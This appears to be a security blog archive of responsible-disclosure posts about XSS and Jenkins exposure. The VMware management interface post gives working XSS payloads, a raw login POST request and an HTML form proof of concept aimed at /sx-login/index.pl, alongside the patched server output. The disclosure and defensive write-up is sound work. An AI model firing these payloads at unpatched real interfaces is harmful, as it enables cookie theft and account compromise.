Pages

Showing posts with label XSS. Show all posts
Showing posts with label XSS. Show all posts

Wednesday, January 01, 2014

Reported Jenkins Vulnerability Patched by BlackBerry !

A couple of months ago, I discussed about the existence of configuration flaws in deployment of  Jenkins software management application. The details are presented here: Jenkins Configuration Issues. Based on the same benchmark, I reported a few vulnerabilities to BlackBerry in its infrastructure. Recently, I found that they added my name to the responsible disclosure list here: BlackBerry Responsible Disclosure List!.which is fine as long as the team eradicates the vulnerability.

Nowadays, I do not perform aggressive vulnerability hunting (due to my ongoing job) but, when I have time, I dissect components of widely used software and try to find flaws in them. I am more interested in the cases where companies understand the problem and ready to patch it. I am not at all inclined towards finding generic issues in websites which nobody cares about. I always believe that it is important to understand the cons associated with that existing vulnerability when it is reported. It is also crucial to determine how the attacker can chain together a set of bugs to have greater impact. If we don't understand the nitty-gritty details of the vulnerability, there is high chances that the vulnerability will resurface again. 

In this case of BlackBerry, unnecessary exposure of Jenkins component in production environment could resulted in  problematic scenarios. Exposed components of Jenkins were vulnerable to  flaws such as Injections, XSS, etc. So, the belief is: "Expose Less and Be Secure !"

Note: I am going to reveal Frame Injection vulnerability to Jenkins team so that the issue can be patched. No details for now.

Enjoy !

Tuesday, March 26, 2013

Responsible Disclosure : XSS in Damballa Reported and Patched !

Last weekend, I was reading some research papers available at Damballa website which are awesome without any doubt. I was surfing the website and to surprise, I found an XSS vulnerability in the website. Since, the Damballa provides anti malware solutions, XSS can be used for malicious purposes. Under responsible disclosure constraints, I contacted David Holmes of Damballa and revealed the issue. What makes a responsible disclosure interesting is the prompt reply from the vendor who is willing to patch the vulnerability without any complexities. The same happened with Damballa. They patched the bug right away. In addition, I had a good discussions with David Holmes why the issue persisted in the website.

I expect that every vendor should be prompt enough to patch the issue.

Proof-of-Concept (PoC):

Be responsible in disclosing bugs.

Sunday, January 27, 2013

VMware Management Interface - A Little Story of XSS

As a part of my open research, I came across an XSS vulnerability in VMware management interface which is used by VMware ESX and GSX server. I thought it might be a new issue but interestingly a number of XSS issues have already been reported to VMware security team. The list can be found here: http://www.cvedetails.com/vulnerability-list/vendor_id-252/opxss-1/Vmware.html

On the other note, a number of VMware management interfaces exposed on the Internet are still vulnerable. Of-course, the administrators have not deployed patches or upgraded the required software. I din't get enough details on the XSS issue (may be I missed it). So, I thought to talk about the issue in detail here. I am not going to list which versions are affected, you can get that information in the advisories. I will talk about the issue. The management interface look like as presented below:

VMware Management Interface
The username and password field are provided with ids as "l" and "m" respectively. Interestingly, the vulnerable interfaces use client side encoding to obfuscate the input values entered by the user. But, this can be taken care while using proxy, the value can be directly passed without encoding (alter the HTTP request and POST parameters in the proxy such as BURP, Charles, etc). For example:- if you specify the parameters as follows:

l="/>"/>"/><script>alert(document.cookie);</script>
m=test

it gets encoded as follows:

l = Ii8+Ii8+Ii8+PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpOzwvc2NyaXB0Pg==
m = dGVzdA==

Well, its not a complex encoding but only a Base 64 encoding. Even if, one uses the proxy to pass the values without encoding, due to client side work, the XSS payload fails to render in the webpage. The output looks like as follows:


<html><head><title>Login: VMware Management Interface</title><script> var user="Ii8+Ii8+Ii8+PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpOzwvc2NyaXB0Pg==";var err="-4";var str="Permission denied: Login (username/password) incorrect";var next=null;
</script></head><body bgcolor="#336699" onload="try{if(parent.loginCb)parent.loginCb(self);}catch(e){;}"></body></html>


It reflects back our XSS payload but in Base 64 encoded format which is rendered as useless data. The vulnerability persisted in the handling of these parameters on the server side. If you check, the same payload is reflected back without any additional modification. Actually, the server does not perform any encoding or input validation. Its all client side. The idea is to simply render this payload without encoding. All the POST requests are handled by the /sx-login/index.pl. Let's see:

(Request-Line) POST /sx-login/index.pl HTTP/1.1
Host:

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://82.133.251.1/vmware/en/login.html
Cookie: vmware.mui.test=1; vmware.mui.test=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 95


The simple proof of concept (PoC) that directly sends request to the /sx/login/index.pl is shown below which queries directly without any encoding and made the XSS work.


<html>
<body>

<form name="k" id="k" method="post" action="https://example.com/sx-login/index.pl" target="data">
<input name="l" type="text" value='"--></style></script><script>alert(document.location);</script>"'/>
<input name="m" type="password" value="test"/>
<input type="submit" value="Submit">
</form>

</body>
</html>

Once this form is successfully submitted, it results in XSS as shown below:


<html><head><title>Login: VMware Management Interface</title><script>
var user=""--></style></script><script>alert(document.location);</script>"";var err="-4";var str="Permission denied: Login (username/password) incorrect";var next=null;
</script></head><body bgcolor="#336699" onload="try{if(parent.loginCb)parent.loginCb(self);}catch(e){;}"></body></html>

Successful XSS Injection
On patched  systems, the web server replied back as follows:

<html><head><title>Login: VMware Management Interface</title><script>
var user="\"--\u003E\u003C/style\u003E\u003C/script\u003E\u003Cscript\u003Ealert(document.location);\u003C/script\u003E\"";var err="-4";var str="Permission denied: Login (username/password) incorrect";var next=null;
</script></head><body bgcolor="#336699" onload="try{if(parent.loginCb)parent.loginCb(self);}catch(e){;}"></body></html>

The patched versions are now using server side unicode encoding to subvert the XSS payload.

Enjoy!

Thursday, January 24, 2013

Responsible Disclosure : XSS in UBM

Last year, I reported an XSS issue in the ubminformation.com which was used by UBM organization. I revealed the details to Trey Ford, and the result is as expected. The issue has been patched :). The domain is no longer valid as it redirects all the traffic to the primary website ubm.com.

This issue was result of an outcome of open research. The good point is that, the vulnerability got noticed and patched.

XSS - 1 
and ...


XSS - 2